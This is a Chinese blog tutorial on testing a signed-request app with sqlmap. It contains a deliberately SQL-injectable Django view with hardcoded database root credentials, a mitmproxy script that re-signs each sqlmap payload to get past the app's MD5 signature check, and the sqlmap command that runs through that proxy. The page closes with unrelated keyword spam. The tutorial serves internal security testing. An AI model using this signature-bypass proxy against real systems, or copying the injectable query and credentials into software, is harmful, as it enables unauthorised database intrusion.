千家信息网

sqlmap处理sign加密的思路

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,小编今天带大家了解sqlmap处理sign加密的思路,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入
千家信息网最后更新 2026年10月31日sqlmap处理sign加密的思路

小编今天带大家了解sqlmap处理sign加密的思路,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入学习"sqlmap处理sign加密的思路"的知识吧。

我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。

注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。

首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。

views.pyfrom django.shortcuts import renderfrom django.http import JsonResponse# Create your views here.import hashlibimport MySQLdbimport urllibfrom django.views.decorators.csrf import csrf_exempt@csrf_exemptdef index(request):    id = request.POST.get("id")    token = request.POST.get("token")    str = urllib.quote(id+"test")    print(str)    hl = hashlib.md5()    hl.update(str)    token1 = hl.hexdigest()    print token1    if token == token1:        db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8')        cursor = db.cursor()        cursor.execute("select * from t_userinfo where id="+id)        data = cursor.fetchone()        print "Database version : %s " % data        db.close()        return JsonResponse({"msg":"verity ok"})    else:        return JsonResponse({"msg":"verity error."})models.pyclass userinfo(models.Model):    name = models.CharField(max_length=100)    age = models.CharField(max_length=100)

使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。

使用SQLMAP进行测试,发现无法测试。
于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。

如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。

from mitmproxy.proxy.server import ProxyServerfrom mitmproxy import flow,  controllerfrom mitmproxy import flow, proxy, controller, optionsimport hashlibimport redef md5cr(str):    hl = hashlib.md5()    hl.update(str.encode(encoding='utf-8'))    return hl.hexdigest()class WSProxy(flow.FlowMaster):    def __init__(self, opts, server, state, unsave_data):        super(WSProxy, self).__init__(opts, server, state)        self.unsave_data = unsave_data    def run(self):        try:            print("start")            flow.FlowMaster.run(self)        except KeyboardInterrupt:            self.shutdown()    @controller.handler    def request(self, f):        wsproxy_request_handle(f)    @controller.handler    def response(self, f):        wsproxy_response_handle(f)        # parser = ResponseParser(f)        # insert_result(parser.parser_data())def wsproxy_request_handle(flow):    """wyproxy send data to server before processing"""    try:        data = flow.request.content.split("&")        t = ""        for i in data:            if i.split("=")[0] != "token":                t = t+i.split("=")[1]        str = t+"test"        sign = md5cr(str)        print(str)        data1 = re.match("(.*?)token=",flow.request.content).group()        flow.request.content = data1+sign        print(flow.request.content)    except IndexError:        passdef wsproxy_response_handle(flow):    passport = 8888  #mode = 'regular'  #mode=regularopts = options.Options(        listen_port=int(port),        mode=mode,        cadir="./ssl/",)unsave_data = Falseconfig = proxy.ProxyConfig(opts)state = flow.State()server = ProxyServer(config)m = WSProxy(opts, server, state, unsave_data)m.run()

运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。

python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch  --proxy=http://192.168.1.240:8888

上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。


感谢大家的阅读,以上就是"sqlmap处理sign加密的思路"的全部内容了,学会的朋友赶紧操作起来吧。相信小编一定会给大家带来更优质的文章。谢谢大家对网站的支持!

加密 内容 数据 处理 过程 参数 脚本 测试 验证 思路 公司 字符 朋友 流程 代理 函数 文章 知识 系统 跟着 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 花魁咖啡 百单网互联网科技有限公司怎么样 广东万易互联网科技有限公司惠州分公司 广州大一互联网络科技有限公司 金融科技还是互联网 腾讯阿里互联网科技 中资互联网科技 壕鑫互联网络科技 互联网科技ppt模板 互联网金融 科技创新 互联网和高科技公司 想开互联网科技公司怎么样 迪庆互联网科技招生 徐州市互联网科技有限公司 广州富喜互联网络科技 江苏互联网智能科技产品出厂价 米泉互联网科技专业怎么样 承德科技产业互联网平台 科技发展第三阶段互联网时代 武汉亿视互联网科技有限公司 中智农互联网科技 互联网科技公司税收优惠 互联网金融公司科技 互联网金融科技创新 互联网女皇 腾讯科技 汉立互联网科技有限公司联系电话 杭州壁岐互联网科技有限公司 翼展科技 首家互联网医院 易企秀互联网科技是做什么的 科技美学互联网 艺术
0